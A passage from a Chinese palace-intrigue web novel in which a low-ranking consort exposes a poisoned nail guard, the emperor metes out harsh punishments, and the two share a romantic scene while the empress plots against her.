楚念辞行了一个礼,起身走到白嫔身边。
白嫔已坐在宫人搬来的小凳上,虽满脸不情愿,却因陛下,淑妃发话不敢作声,只狠狠瞪着她,心里蹦蹦乱跳直打鼓。
楚念辞从袖中取出绣帕垫在白嫔腕上,蹲身诊脉。
指尖下的脉搏又快又急,但跳得十分有力,既不像中毒,也不像生病。
她心中奇怪,仔细一嗅,白嫔的身上确实有一股三角梅花粉的味道。
又端详白嫔的玉腕和白皙的脸,忽然注意到她玉般耳垂附近有个不起眼的小红点。
凑近一看,那红点周围已经肿起来了。
楚念辞心头微沉,低声开口道:“娘娘确实有些过敏,但绝不至于引发这般严重的红疹与毒素创面,您耳垂下这个红点……倒像是被毒虫叮咬所致。”
白嫔一听“毒虫”二字,顿时想起自己曾用毒蝎子害过嘉妃的事,瞬间脸色惨白,浑身都僵住了,哆嗦半?,也说不出一句话来。
白云琛当即白着俊脸,反驳道:“这……怎么会,这冰天雪地,怎么会有毒虫呢……”
“荒谬!”楚舜卿也立即高声反驳,“毒虫只有在春暖花开才会出巢,分明是花粉过敏!”
见他们仍死死不肯承认,楚念辞冷冷地开口:“去请章太医过来,自会分晓。”
端木清羽点头,示意小太监去请。
他看着楚念辞,目光逐渐柔和起来。
经过几件事,他相信楚念辞的医术,不会判断失误。
现在基本已经知道事情的始末……应是白嫔自己栽赃陷害旁人不成,反被毒虫所害。
如今真是厌烦了太尉府在自己的底线上反复试探,乐得查出真相,给太尉府一个教训,让他自认倒霉无话可说,从此收敛一点。
一炷香后,章太医终于到了。
他悄悄看了楚念辞一眼,目光里满是感激……
前几日腊八节,正是因为她提醒,他才没让妻女去赶庙会,还特意知会了巡防营留意安全。
可是巡防营似乎并没有接受他的建议。
后来还是发生了抢供品引发的火灾,伤了上百人,他的家人因没去而安然无恙。
一想到若没有她,妻女可能遭遇不测,章太医就后怕得浑身发颤。
这份救命之恩,他铭记在心了。
他强压起伏的心绪,上前先向皇帝行了礼,然后为白嫔仔细检查。
当看到那个耳垂下的小红点时,他倏忽一沉。
“章太医,我的脸到底怎么了?”白嫔见他神色不对,慌忙追问。
章太医叹了口气:“启禀娘娘,您呼吸不畅应是接触三角梅引起的过敏,但这脸上的红疹……确是被毒虫叮咬所致,虫毒对肌肤损害极大,极难医治,即便好生医治,恐怕……也难免留下疤痕。”
真是毒虫造成的毁容,四下寂静……
第49章 端木清羽的暗示
啊,真是毒虫,若如此她就诬陷不成,家里定要怪她没用,万一他们对自己不闻不问,自己的脸又因此毁了,这辈子也就到头了。
家族定会毫不犹豫地舍弃她,另送新人入宫。
想到这儿,她一把推开贴身宫女雁秋,踉跄扑到端木清羽脚边,未语泪先流。
泪水一颗颗从眼睛里滚下来,顺着脸颊滑落,瞧着倒真像梨花带雨,可如今她脸上布满红斑与黑焦,这般情态反而让人作呕。
端木清羽皱了皱眉,下意识拿起香囊掩了掩鼻息。
淑妃看得心头火起,都这副样子了,还在这儿作态勾引皇上。
她烦躁地示意绿翘:“还不快把白嫔扶起来!”
随即转向章太医,冷声问道:“好端端的,哪儿来的毒虫?”
“微臣尚未查明。”章太医低头回道。
白云琛一双桃花眼里盛满痛心与愤怒:“陛下,毒虫绝不会凭空出现,定是有人蓄意谋害臣妹!求陛下做主啊……”
“查。”端木清羽回答他的只有这一个字,那声音显得格外冰冷,已经带上了不耐。
他抿着唇,如墨勾画眉眼中却只透出一股刺骨的寒意。
章太医带来的几名医徒被唤上前,在四周仔细翻找起来。
人群里,楚舜卿恨不得把自己缩到地缝中去……前世这一出分明只是花粉过敏,怎么会冒出毒虫?
她悄悄往后挪步,想躲到人后。
谁知淑妃忽然侧过脸,目光如针般扎在她身上:“楚内医?你既通医理,本宫命你亲自去找,无论如何,把毒虫给我找出来!”
楚舜卿浑身一颤。
若让毒虫咬到自己,脸岂不是也要毁了?
蔺家如今已不太把她放在眼里,若再失了容貌,蔺景瑞定会嫌弃她……不行,这张脸绝不能有事!
她站在原地不肯动,淑妃身边的绿翘立刻示意两个太监上前,将她拖到树丛边去搜找。
楚舜卿是被两个太监架过去的。
又是一阵忙乱,毒虫依旧不见踪影。
陛下,淑妃亲自在此盯着,底下人不敢怠慢,可越是找不着,众人心头越发沉重。
这时,楚念辞上前一步,恭敬道:“陛下、娘娘,附近皆已搜遍,唯有一人还未查……”
她顿了顿,清晰说道,“便是先前被罚去冰上站着的雁容。”
她可记得上回的教训,绝不能再让这丫鬟金蝉脱壳。
淑妃微微一震,眼波一转,身旁的太监秦振兴立刻会意,带人去了。
不多时,雁容便被拖了回来。她在冰上站了太久,双脚冻得通红发僵,几乎无法行走,全凭两个太监架着。她浑身发抖,却仍咬紧嘴唇不肯低头。
见宫人上前要搜身,她猛地一颤,挣扎着想躲。
秦振兴眼疾手快,一把攥住她的胳膊,喝道:“抗拒搜查,必有古怪!来人,按住她!”
雁容没料到他动作这么快,另一只手猛地扬起,想甩掉指甲上戴的护甲……可手刚抬到一半,就被几个嬷嬷死死按住,再动弹不得。
宫人迅速卸下她的护甲,里外仔细翻查。
不过片刻,一只细小的黑虫从甲缝中被挑了出来。
章太医接过查验,转身禀报:“回娘娘,这护甲中藏的是隐翅虫,虫毒甚烈。”
白嫔脸色一白,朝身旁的雁秋使了个眼色。雁秋上前便是两记耳光,厉声道:“敢谋害娘娘,说!谁指使你的?”
雁容嘴角渗血,脸上却掠过一丝讥诮,闭口不答。
淑妃早已不耐,冷声道:“拖去掖庭,仔细审。”
雁容这才慌了,连声哭喊:“娘娘明鉴!奴婢真不知毒虫怎会在甲套里……”
“证据确凿,再狡辩立刻杖毙。”绿翘厉声打断。
秦振兴见状,扬起拂尘重重敲在雁容后颈,她当场昏死过去,被内监拖了下去。
白嫔吓得噤了声,再不敢哭。
楚念辞心头微凛……淑妃行事果然狠厉,竟连皇后也不禀,便直接处置了人。
沈澜静在一旁静静看着,亦是越想越心惊。
春玉见真相大白,恨不得找个地缝钻进去,缩着身子直往后躲。
红缨见她这副模样,只恨她方才栽赃自家小主,立刻跪地叩首:“陛下、淑妃娘娘,如今既已查清是春玉诬陷,请娘娘严惩此人!”
端木清羽扫了众人一眼,声音冷酷得没有半分温度:“宫女春玉,御前诬陷主子,不知悔改,藐视君上,为奴不忠,当众枭首,全家连坐,流放漠北,遇赦不赦。”
春玉面如死灰。
自己下场早已知道。
但全家都要因她这一句话流徙千里,还能有命活吗?
且不说路途艰险,便是到了漠北那苦寒之地,又岂有活路……
她还没来得及求饶,就被人堵住嘴拖了下去。
淑妃面露得色,目光锐利地扫过,她真的很喜欢这种处罚小妖精的场面。
红缨本只盼着严惩春玉,却没料到一句话竟牵连数条性命,吓得脸色发白,还想开口,却被楚念辞轻轻按住手腕。
“若她成事,毓秀宫一个也活不了。”楚念辞在她耳边低声道。
对敌人仁慈,就是对自己的残忍。
静了片刻,端木清羽一双清透如琉璃的双眼看着楚念辞,又瞟了一眼白嫔。
这是……让自己出言进谏?
让自己出一口气?
她抬眼看一眼跃跃欲试的淑妃,心想,陛下为何不找她,转眼明白了,若是让淑妃处置,她万一口无遮拦地说出,赐白嫔自尽,夷三族,难道真的抄了太尉府。
她又瞟了一眼满脸愤恨的白云琛……
觉得自己不能为了出气能对上太尉府……
这潭浑水,如今凭自己地位,想蹚一蹚,如同找死没什么两样。
楚念辞只是装傻。
端木清羽眸色变深,这妮子,自己这是帮她出气。
她竟然装作没看见,有自己在,何惧之有?
抑或是他根本没有把自己当做靠山。
端木清羽只好将目光转向瘫软在地的白嫔:“白嫔管束宫人不力,还妄图诬陷他人,虽事出有因,终究是不守宫规,即日废为庶人,幽居永巷,非诏不得出。”
白嫔两眼一黑,瘫软成泥。
说罢,他那双清凌凌的眼睛看向楚念辞,语气稍缓:“慧贵人助本宫查明毒虫来源,做得不错,赐夜明珠一壶,斓贵人无辜受冤,赐珍珠围领一副。”
楚念辞闻言立刻跪下谢恩。
沈澜冰跟着跪下。
楚念辞心中已十分满足……能一举扳倒太尉府的白嫔,今天已是功德圆满。
淑妃早已跃跃欲试,娇笑道:“陛下,楚内医与雁容交予本宫处置。”
端木清羽点点头。
淑妃眼中掠过一丝不屑,声调森然:“宫女雁容以下犯上,谋害主子,赐自尽,楚内医学识不精,险些误了本宫判断,罚掌嘴十下。”
“娘娘饶……”楚舜卿腿一软,“命”字还没出口,就被两个婆子架了起来。
另一人手持竹片上前,照着她的嘴脸就狠狠抽了下去。
啪啪的击打声在寂静的雪地格外清晰,众人屏息垂目,不敢作声。
然而端木清羽眼神只丢给楚念辞,道:“别忘了,今日朕等着你的好茶。”
楚念辞应了声“是”。
端木清羽起身,如云拂过般离去。
淑妃望着他背影,脸上掠过一丝得意……今日这番处置,足显她的手段与果决,怕是连皇后也要逊色三分。
她心满意足,带着宫人浩浩荡荡离开了。
白云琛咬牙起身,冷冷瞥了淑妃远去的方向一眼,终究没再说话。
掌嘴声仍在继续。
那竹片足有二尺长,每一下都抽得结实,楚舜卿双颊很快红肿起来,十下打完,脸已肿得不成样子。
楚念辞扶起沈澜冰正要离开,身后却传来楚舜卿含糊又怨恨的声音:
“都是你……挑唆娘娘罚我……姐姐,你为何总要害我!”
她始终认定,楚念辞是因嫉恨她与蔺景瑞在一起,才处处阻她前程、故意令她出丑。
楚念辞脚步一顿,只觉荒唐可笑……自己学艺不精惹祸上身,却总将错处推给别人。
她蓦然转身,目光清冽如刀:“楚内医,慎言。”
楚舜卿被她骤然冷厉的神色慑住,一时噎住。
楚念辞面容平静,语气却冷厉:“方才淑妃娘娘说得明白,罚你是因你‘学识不精’,你若非说是我挑唆,岂不是暗指娘娘容易受人蒙蔽?你若也想进掖庭,就继续胡说试试。”
她声音不高,却像冰针扎进耳里。
楚舜卿彻底哑了,捂着脸眼睁睁看着她转身离去,再不敢多说一字。
第50章 端木清羽怦然心动
楚念辞与沈澜冰一路沉默,直走到上林苑深处亭子,才停下脚步。
四人走进亭中坐下。
楚念辞一看,沈澜冰额上全是冷汗,红缨而取出丝巾替她擦拭,巾子很快被浸透了。
团圆鼓着小圆脸,颤声说:“吓**了……白嫔怎么如此狠毒,若不是陛下还相信小主,咱们就惨了,可淑妃这么跋扈,以后怎么办?”
“今日总算有惊无险,”楚念辞轻声安慰几人,“别怕,我们住在陛下那儿,她们暂时不会对我们怎么样,只冰儿你近期要小心一点。”
红缨亦抹了下汗,顿了顿道,“早听深宫**,真是名不虚传,可惜没有查出春玉背后的主使人。”
“这还用查吗?”沈澜冰低颤道:“今天若不是姐姐,进掖庭的就是我了,明摆着白嫔想陷害我,谁知雁容叛主……我已步步相让,她们却仍咄咄逼人……”
“姐姐,若是有空,你没事往嘉妃处多走动,她家势强硬,为今之计,只有暂时与她联手。”
沈澜冰垂下眼眸,她与嘉妃也只是熟识,还称不上是挚友,只能走一步看一步。
楚念辞看向沈澜冰嘱咐道:“无宠才是罪过,若陛下到你那儿去,你便多与他讲讲江南有趣的风物,引他常来坐坐,慢慢地他对你起意,得了恩宠,她们才不敢轻易动你。”
说这句话的时候,她想到那位风华出众的少年帝王……
楚念辞心里毫无波澜。
虽也曾为他的容貌倾倒,却谈不上什么感情。
她所求从不是一心一意,不过是及时行乐罢了。
再说了,他现在对自己还不是视如棋子。
既然如此,将他分享给好姐妹,助她在宫中生存下去,又有什么挂碍。
她想到了幻情花,这位陛下绝对也是一个狠厉角色。
对自己不喜欢的人,他有的是手段。
于是她必须提醒一下自己痴情的好妹妹。
她握紧沈澜冰手心道:“冰儿,陛下不是你我夫君,他是帝王,又绝顶聪明,心中还系着前朝与后宫的平衡,你切不可妄图得到帝心,只求恩宠即可,我只求你我在宫里活得恣意顺心,不受别人欺负。”
沈澜冰紧紧回握住她的手,轻轻含羞点了点头。
回去时,楚念辞一路想着白天的事。
冰儿对端木清羽羽那样上心,献上荷包时,他却只淡淡应付。
男人便是如此,你越在意,他越不放在心上。
在这后宫,争宠可以,动真情便是犯傻。
那些妃嫔整日闲着,就爱争风吃醋、陷害旁人,还不是为了朝上爬。
人无伤虎心,虎有伤人意,不争不斗,就只有被吞掉的份。
既然躲不过,她也不会客气。
回到养心殿时,已是戌时。
夕阳映着雪,一地暖黄。
她从满宝那里得知,下午的事,已经带着翅膀传遍了每个宫墙。
众妃都猜着,永福宫完了,接下来的日子,除了皇后,到底是哪位会受宠。
可鲜花着锦,烈火烹油,终是众矢之的。
好在她只是常在,没有人会注意到自己。
不然,岂会有她的好果子吃?
后宫的形势,向来瞬息万变。
以自己地位分,如果受宠,谁知道某位宫嫔就又把矛头对向自己。
到了侍茶的时辰,楚念辞理了理微松的鬓发,便端着一盒膏脂往正殿去。
远远看见敬喜垂首站在门外,大气不敢出。
她刚踏上台阶,便隐约瞧见皇后跪在殿内。
敬喜侧身低声提醒:“白庶人是皇后当初放出来的,陛下正问责呢。”
原来如此。看来端木清羽怒气未消,迁怒到了皇后身上。
白嫔触了他禁忌,皇后便成了替罪羊。
楚念辞正想着,已走到殿门外,听见端木清羽的声音:“朕日日烦心政事,皇后不能统御六宫,便也别添乱,回去闭门思过罢。”
蔺皇后似乎还想解释。
“退下。”端木清羽语气淡了下来,“朕已无碍,近日不必再来侍疾。”
一阵衣裙窸窣声后,蔺皇后低着头退了出来,迎面撞见楚念辞。
楚念辞连忙屈膝行礼。
皇后脸色铁青,看也没看她,径直上了轿辇匆匆离去。
楚念辞望着那背影,不得圣宠,不过是太后傀儡,好容易有机会侍疾,还因幻情花之事惹了嫌疑。
若她安守本分,不贪图不该得的,或许不致如此,或许他心软,留她一个名分,不过,指望端木清羽心软?
他从来不是心软之人。
三言两语便削了皇后侍疾之权,既敲打了太后,也立了君威。
楚念辞深吸口气,走进内殿时,只留几盏宫灯昏昏照着,晚膳未撤。
端木清羽似是刚沐浴过,长发未束,披在素白寝衣上。
一室月辉,斯人如璧。
夜风从长窗卷入,吹得烛影摇曳,也拂起他衣袍与发丝,露出清冷侧脸。
楚念辞定睛一看,他如玉的面庞上平静无波。
还好,那暴虐的君主的第二面具还没掉下来。
今晚安全,楚念辞被风吹得一颤,忙放下手中东西,上前将窗合上,又取来外袍轻轻披在他肩上。
迎着他微愕的目光,她弯眼一笑:“天凉了,陛下仔细龙体。”
她心里明白,端木清羽这条大腿值得抱紧,绝不能让他如前世般早逝。
既然眼下是他身边人,护着他,也是护着自己的前路。
这般举动虽大胆,但她只要不涉朝局勾结,寻常小事并不轻易动怒。
果然,端木清羽并未斥责,只对一旁的宫人道:“下去罢,此处不用伺候了。”
殿内只剩二人,还有一桌子晚膳。
楚念辞忽然觉出,他目光沉冷,似乎在为下午的事不悦。
于是她挪回他身边,轻声问:“陛下是在生臣妾的气吗?”
端木清羽眼也未抬,只问:“方才朕给你使眼色,让你借机出气,为何不用?”
楚念辞一怔,随即抿唇笑了:“臣妾不懂陛下的意思。”
他斜睨过来,眼尾微挑,眸子清亮如月,照得人无处可藏。
她肩膀一松,小声嘀咕:“陛下圣明……臣妾确实不敢。”
“不敢什么?”他收回目光,指尖轻叩桌面。
楚念辞一时语塞。
受了委屈便找人撑腰,那也得有人愿为你出头才行。
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前世在蔺府,从未有人替她出过头,她早已习惯默默记下,日后算计报复。
可如今既跟了他,却仍没把他当作可倚仗之人,心底终究缺了份底气。
她正想着如何回答,忽见他搁在案上的手修长如玉,心痒想摸,又不敢造次,只凑近些浅笑道:“陛下,有您在场,臣妾感到很安心,知道您会查清真相,还臣妾一个清白,当时……臣妾仰望着您,哪里还能想得起别的,眼中只有您,全是您,早已忘了其他……”
她的目光清澈干净,不带着杂质,丝丝不安,看他的眼神,却是掩饰不住的相信和倾慕。
尽管端木清羽羽知道这是甜言蜜语,但也不知不觉露出了愉悦的神情。
只觉得自己的心,仿佛被什么东西触动了一下。
心中怦然急速跳了几下。
他连忙收住了的心神。
心中不由暗暗吃惊,自己也算定力深厚,怎会因一个女子的几句情话,便心动。
不过自己也是一个正常男人,面对欣赏的女人说情话,怎能不高兴。
如此一想,他便释然了。
“往后在宫里,胆子不妨大些,”端木清羽语气温和,“若连你都护不住,岂不让人笑话朕无能?”
楚念辞眉眼绽开笑意,无比感动声音都轻颤了,靠近他:“谢陛下,臣妾记住了……”
端木清羽羽嗅着她身上的少女幽香,漆黑湛亮的眸子里,闪过了一抹好奇探究。
他喜欢灵慧又有才华的女子,但他也仅仅喜欢。
做为帝王,他知道若把一个女子,放进心里,那自己便离昏君**不远了。
前朝哀帝就是个实例,爱上万贵妃,弃国弃家,君主可以宠她,但爱上是极其危险……他相信自己的定力。
端木清羽拍了拍手,一名高挑宫女端着铜盆进来,晚膳前他照例要净手。
她见状轻声道:“陛下,臣妾见您常执笔批奏,特带了润手的香膏奉上。”
说完,奉上香膏,正要退开,却听他道:“你来替朕盥手。”
“陛下,臣妾没伺候过盥洗……”楚念辞老实说道。
“无妨,洗净便可。”端木清羽已示意宫女放下铜盆退下。
你这小洁癖,估计是习惯自己了吧,想要你就说呗。
楚念辞只好跪下,可这姿势实在别扭,手也够不太着。
“不必拘礼,”端木清羽并未伸手,只淡淡道,“此处没有外人。”
他这才将手伸出。
那双手生得极好,净白修长,指尖透着淡淡的粉,宛如浸过雪的玉石。
楚念辞看得有些出神,舀水淋在他手背上时,心里轻轻“啧”了一声,顺手就在他手上摸了一把:真滑。
接着她忽然想起宫里正偷偷赌他初夜的事。
一个没忍住,嫣红的唇角翘了起来,绽开一抹灿笑。
端木清羽本见她垂眸专心盥洗,忽见她笑靥绽开。
烛光下,长睫低垂纤长浓密,在脸庞如玉投下一道长长的阴影,眉间那点红痣格外明艳。
他竟被这艳色恍了一下神,喉结滚动了几下,看楚念辞的眸光越发幽深,不自觉地抿了抿唇,慢慢倾身过去,凑近她娇樱般的唇……
第51章 欲拒还迎,若即若离。
烛光落在他眼中,眸中晕开一片清润微亮的光。
楚念辞望着,心想:这般相貌,不撩拨一下岂不可惜?
反正也是他先凑上来,可不怪她。
她面上仍是一本正经的模样,眼里却藏了狡黠的光,像只悄悄伸出爪子的小猫。
趁他低头时,她微微倾身,睫毛密密地覆下来,更显得红唇娇艳欲滴。
端木清羽自认并非重欲之人,此刻却喉间一紧,目光竟有些移不开。
双唇相触的瞬间,温软生香。
属于少女的清幽气息忽然浓了几分,萦绕在他呼吸间。
他怔了怔,一时不知接下来该如何。
楚念辞察觉他只会笨拙地贴着自己的唇辗转,心里轻笑:果然是个生手,连启唇都不会。
她也不急,只低低笑了一声,趁他没回神,柔软的唇瓣轻轻蹭过他的唇,像在耐心描摹什么珍品,一点一点,连唇角都不曾遗漏。
端木清羽怕痒,才被她轻蹭两下便微微一颤,耳根泛红,却抿着唇没有躲开。
楚念辞面上却仍是一副认真的模样……不知不觉间,他的唇微微泄出一缕呻吟。
已微微启开缝隙,她立刻迎上,舌尖轻轻迎住。
唇舌相触那刻,她尝到他气息里淡淡的草木香,似松柏清洌坚忍,又似薄荷沁凉微甜。
他也缠着上来。
本以为他唇舌该是温软生涩的,可当他真正缠上来时,楚念辞才发觉自己错了。
那份温软中带着不容抗拒的侵占之意甚至有点凶狠。
他轻轻咬住她,摩挲辗转间,带起一阵细微却酥麻的战栗。
她垂下眼帘,任他试探索取,那双清亮的眸子微微眯了起来。
闭着眼,尽情享受着两条舌头的狂舞。
不知过了多久,她的手无意碰到铜盆边沿。
“叮”一声轻响。
两人同时回神。
端木清羽缓缓退开些许,目光落在她早已嫣红泛着水光的唇上。
“吻技这般熟稔,”他忽然倾身靠近,清冽的松木气息笼住了她,“莫非常替人练习?”
“呀,陛下好坏,”她迎上他的注视,唇角弯起浅浅的弧度,“臣妾这是头一回呢。”
这话不假……这一世,却是头一回。
她说得坦然,眼波流转着若有若无的缠绵。
“又说谎,”端木清羽看了她片刻,眸色渐深,“在旁人那儿练了千百遍,倒用在朕身上了。”
他声线仍轻,却像石子沉入深潭,眼底也凝起一层薄冰,隐隐透出锋锐。
突然想到一种可能,虽然她身子是清白的,会不会未进宫时,便与那人吻过……
想到这儿,他心底不知不觉涌上一股恼火与酸怒,眼睛渐渐幽深了起来。
楚念辞见他那目光渐渐凶狠起来。
知道他想偏了。
陛下,您这念头可跑远了,臣妾这一世真的是清白的……
她心里叫苦,面上却眨了眨眼,露出几分无辜神情,声音里带上一丝娇嗔:“陛下做什么曲解臣妾,臣妾……唔……”
她还没说完,便被端木清羽一口吻住。
楚念辞被他吻得喘不上气,推了推开他。
“勾起兴致就想躲?”他眸光未动,指尖却轻轻抚过她唇角,突然变得凶狠起来,一下子又把她扑倒。
目光幽深地死死盯着她,强行将她箍在自己的身上,玉白手指碾过她的唇。
烛台的光映着他眼底的冷锐,眼尾上挑已经带上了一丝暴虐,仿佛想困住这掌心的蝶。
见他那暴虐的面具又掉下来了。
想到自己很可能迎接的不是鱼水之欢,而是暴风雨,她内心并不害怕,反而有点期待。
高位,她的目标,君心,亦她的所求。
但端木清羽喜怒难辨,还是个**。
一息前还是个风清月朗的翩翩公子,一息后,就能变成一个冷酷肆虐的**。
她现在还没弄清,触发这个诱因的关键点在哪里?
所以这两样并不容易获得,与他相处,不但是高段位的博弈,更比拼演技和手段,还有耐心。
她掩去眼底的野心。
欲拒还迎,若即若离。
她不想让皇帝这般轻易就得偿所愿,若是如此,将来也必不会珍惜。
于是故意用一指抵住他的唇,说:“陛下日理万机,定是累了,臣妾不扰您了。”
“现在倒知道躲了,”端木清羽冷笑一声,气息拂过她耳畔,“方才的胆子呢?”
话音未落,他已低头重新吻住了她。
从未有人给过端木清羽这样的感受,勾起了他的兴致,欲拒还迎,分外撩人。
他呼吸渐渐发沉,霸道十足地吻在她的脖颈之上。
这时,养心殿外,传来一阵急促的脚步声,那脚步停住,站在门外,似十分犹豫,过了一会儿,终于李德安声音在殿外响起:“陛下,边塞急报。”
端木清羽微微一震,随即坐起。
帝王坐拥万邦,就必受天下之累,他并不属于他自己。
“罢了,你先回去吧。”端木清羽从容不迫地恢复了风清月朗的姿态。
见被扰了兴致,楚念辞怔了怔,她并没有生气,也没有失望,今日只是想撩拨他一下。
此时承宠并不是最好的时机,垂下眼睫,迅速起身离开。
回到暖晴阁,就发现案上堆满了各种礼物。
后宫没有秘密,下午那事传开后,许多宫妃派人过来巴结,希望攀上她,攀上一条养心殿的关系。
就连皇后,淑妃,也来派人给礼,说是给她压惊。
楚念辞没有出面,让团圆照单全收。
收礼便是打好了关系。
而宫里人惯会拜高踩低,白嫔被贬为庶人,从永寿宫离开的时候,只带出来一床被子。
永巷夜冷,破旧的殿内四处漏风,只点着一盏昏暗油灯
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。
白芊柔裹着单薄的被子,脸上溃烂的伤痕在阴影中更显狰狞。
从嫔位贬为庶人,容颜尽毁,她早已是家族的弃子。
宫人散尽,只剩自幼相伴的雁秋还留在身边。
雁秋红着眼咬牙道:“雁容咬舌自尽了,小主,没想到慧常在如此狡猾,一下就看穿了咱们……您放心,奴婢定替您报仇!”
“不可轻举妄动,”白芊柔沉默片刻,压下眼底翻涌的不甘,“成王败寇,这一局,我输得心服口服。”
“难道不报仇?”雁秋不甘道。
“如今你我已是弃子,想翻身,就得让自己对家族还有用。”她望向漆黑的窗外。
她缓缓转过头,眼神中带着试探:“如今我容貌已毁,什么都完了,你若有心离开,我也绝不怪你。”
雁秋摇了摇头:“奴婢是孤儿,受您大恩才活到今天,雁容那贱婢,咬舌倒是便宜她了,会不会……是皇后指使的?”
“应当不是,”白芊柔望着漏风的门扇,声音沙哑,“她不过是听府里的命令罢了,如今只有等家里派人来时,见机行事。”
坤宁宫内,烛火幽微。
蔺皇后倚在榻上,眼底掠过一丝阴郁:“白嫔到底沉不住气,那日本宫看她还算有些胆色,才费力将她弄出来,原是想借她的手对付淑妃,没想到她竟这般急躁,如今棋废了不说,还险些牵连到本宫。”
夏冬站在一旁,嘴角抿起一道刻板的纹路:“她与慧常在入宫前便有些旧怨,这才一时没能忍住。”
蔺皇后揉了揉眉心:“话说回来,慧常在晋升也太快了些,瞧着不起眼,入宫不到一月,竟已从选侍升到了常在,还让俏答应与白嫔折在她手上,不容小觑。”
夏冬撇了撇嘴,她瞧不上楚念辞,不过商户玩意:“主子也不必太过在意,说到底不过是个常在,她父亲只是个从六品小官,母亲是商贾,成不了气候,眼下要紧的,还是淑妃那边。”
可白嫔的折翼,仍像巨石压在蔺皇后心头。
早知今日,当初楚念辞一进宫,就下手就好了。
然而木已成舟。
蔺皇后强压下心中烦闷,低声道:“此次她不但脱罪,足见心性手段,论容貌、论心思,皆非池中之物,如今位分虽低,可若放任她坐大,将来恐怕比淑妃更难应付……最好趁她还未站稳,尽早处置。”
“主子……”夏冬见她神色决然,知劝不动,便转了话头,“前日老夫人递信进来,说五小姐已到十六,过了及笄之年,亲事该相看相看了。”
蔺皇后眉头微蹙:“京中适龄世族子弟的画像,本宫前两日已陆续瞧过一些,路总会为她铺好,你明日传景瑞进宫一趟,让他也帮着参详。”
说了这一会儿话,蔺皇后实在撑不住了,脸色愈发苍白。
夏冬连忙应道:“是,明日一早,奴婢便去请国舅爷进宫。”
第52章 蔺皇后被弟弟气得肺疼
第二天一早,又是个大晴天。
楚念辞刚进养心殿,端木清羽就从御书房回来了。
他换了隆重朝服,只穿着一身明黄便袍,站在窗边对着那盆蜡梅画画。
一见她进来,月姿霞韵地瞟了她一眼。
楚念辞觉得小皇帝这是在主动撩自己。
她立即凑过去看,一张嘴就跟抹了蜜似的:“皇上这画,浓淡正好,枝干有劲,风送香来,雪助花妍,呵气凝香,满目娇艳,傲气却不俗气,臣妾光瞧着,都觉得梅花香气扑过来了,风雅,太风雅了!”
一旁的敬喜听得直眨眼,心里嘀咕:自认阿谀奉承,这公里无人出己其右,没想到这人拍马屁的功夫,已经超过自己了。
端木清羽嘴角弯了弯,转头看她。
眼中全是探寻。
楚念辞那明艳无双眼睛全是诚恳,看不出半点假意。
他收回目光,笔下未停:“你喜欢?那就赏你了。”
“谢陛下!”楚念辞心里乐开了花。
皇上的御画,挂起来有面子,拿出宫去,那可是换来实实在在的真金白银。
她自从受封常在,还没有向皇后行礼,但她又不想一个人去。
这样想着,“陛下,臣妾还未向皇后行妾妃之礼。”
这时,李德安进殿,在皇上耳边低声说了几句话,端木清羽听罢,便吩咐敬喜:“去私库取一对如意喜字玉佩来。”
不多时,玉佩取来了。
那一对玉佩莹润生光,确是上品。
端木清羽拿在手里把玩着,垂眸不语。
楚念辞悄悄瞥了一眼,心里打起鼓:这又是要唱哪一出?
她发现自己常猜不透皇上的心思,有点挫败……想在宫里站稳,还得再多琢磨才行。
端木清羽忽然开口,将玉佩仔细收回锦盒,用缎带系好,“上回你带给皇后的点心,她似乎很满意,你再备上一碟,随朕去趟皇后宫里,给皇后行礼吧。”
楚念辞一喜,顺手从旁边案上端了一碟精致的糕点。
端木清羽亲手拿着那锦盒,起身往外走去。
楚念辞没多话,捧着点心匣子,安静地跟在了皇帝身后。
一行人到了皇后所在的坤宁宫,宫人们见了圣驾,立刻跪倒一片。
守在殿门口的宫女正要进去通传,端木清羽摆了摆手,径直走了进去。
皇后已得了消息,快步迎到门内,躬身行礼。
楚念辞跟在后面,眼尖地瞥见蔺景瑞也跪在人群靠后的位置。
她心里掠过一丝不快,但随即又想:他是皇后的弟弟,又是太医院院使,往后宫里撞见是常事。
自己行得正坐得端,也没什么好怕的。
端木清羽在正中的座上坐了,对皇后虚抬了抬手:“听闻你身子不适,朕过来看看。”
然后又道:“慧儿受封之后,还未向皇后见礼,还不过来行礼。”
楚念辞芒果过去躬身拜下,“臣妾常在慧氏,见过皇后娘娘,愿常听慈训,不胜欣喜。”
皇后娘娘脸上堆出一个慈和的微笑道:“妹妹快起来。”
跪在下方的蔺景瑞,自打楚念辞进来,眼神便忍不住往她那儿飘。
这爱而不得,便是世上最强的滤镜。
见她肌肤瓷白细嫩,衬着那红唇娇艳,眉间一点胭脂痣,脸庞光润如染了胭脂的荔枝一般,真想尝尝是否如看起来那般甜嫩,不由神魂颠倒了,身子软了半截。
他不由看得心绪起伏。
前朝后宫紧密相连,何况他就在太医院,宫里对他来说没有秘密。
楚念辞一跃成为常在,楚舜卿又挨了打,他已知道。
蔺景瑞心中五味杂陈。
再迟钝也知道舜卿医术不行,还德不配位,引起了淑妃的不满,淑妃的祖父可是宰相,那自己的前途还有指望吗?
他满嘴酸涩,真觉得南诏时一时冲动,没有抵制住诱惑,这个天大的错误。
楚念辞察觉到他灼人的视线,甫一接触便迅速移开。
可那目光实在太执拗,连一旁的蔺皇后都觉出不对,脸色微微发僵,却不好当场明说,只得朝身旁的大宫女夏冬使了个眼色。
夏冬会意,悄步上前,不露痕迹地正好隔在了蔺景瑞与楚念辞之间。
端木清羽见瞧见了。
清粼粼的目光往他那一扫,眼角湛亮仿若出鞘微微刀剑,嘴角勾起一丝冷诮的弧度。
蔺皇后忙重重咳了一声。
蔺景瑞方收回了那灼人的视线。
端木清羽一转头,目光便落到了旁边的紫檀案几上……那上面摊着十来幅少年公子的画像,个个锦衣华服,一看便知出身显贵。
蔺皇后见皇帝留意画像,脸上便带了笑,解释道:“陛下,臣妾的妹妹今年十五了,年纪不小,也该相看合适的人家了。这些是初选出来的一些子弟,家世品貌都还过得去。”
“皇后既然身体欠安,合该多歇着,选亲的事不急,养好身子再说也不迟。”端木清羽语气温和,目光却清亮地看向她。
“陛下说的是,”蔺皇后从善如流的接话,“只是臣妾看了半日,也拿不定主意。陛下眼光独到,不如帮臣妾瞧瞧?”说着,便将那叠画像轻轻递了过去。
端木清羽只微微一笑,接过画像:“皇后说笑了,这般家事,朕如何好做主。”
“若能得陛下亲自指婚,那才是天大的荣光。”皇后忙道。
端木清羽不再推辞,目光在那些画像上缓缓掠过。
皇后在一旁轻声介绍:“这是太尉府的三公子,这是宰相家的六少爷,这是镇国公府的第八子……”
皇帝看得仔细,神色平静,最后目光停留在礼部尚书家小儿子的画像上。
蔺皇后心下会意,却有些不情愿……
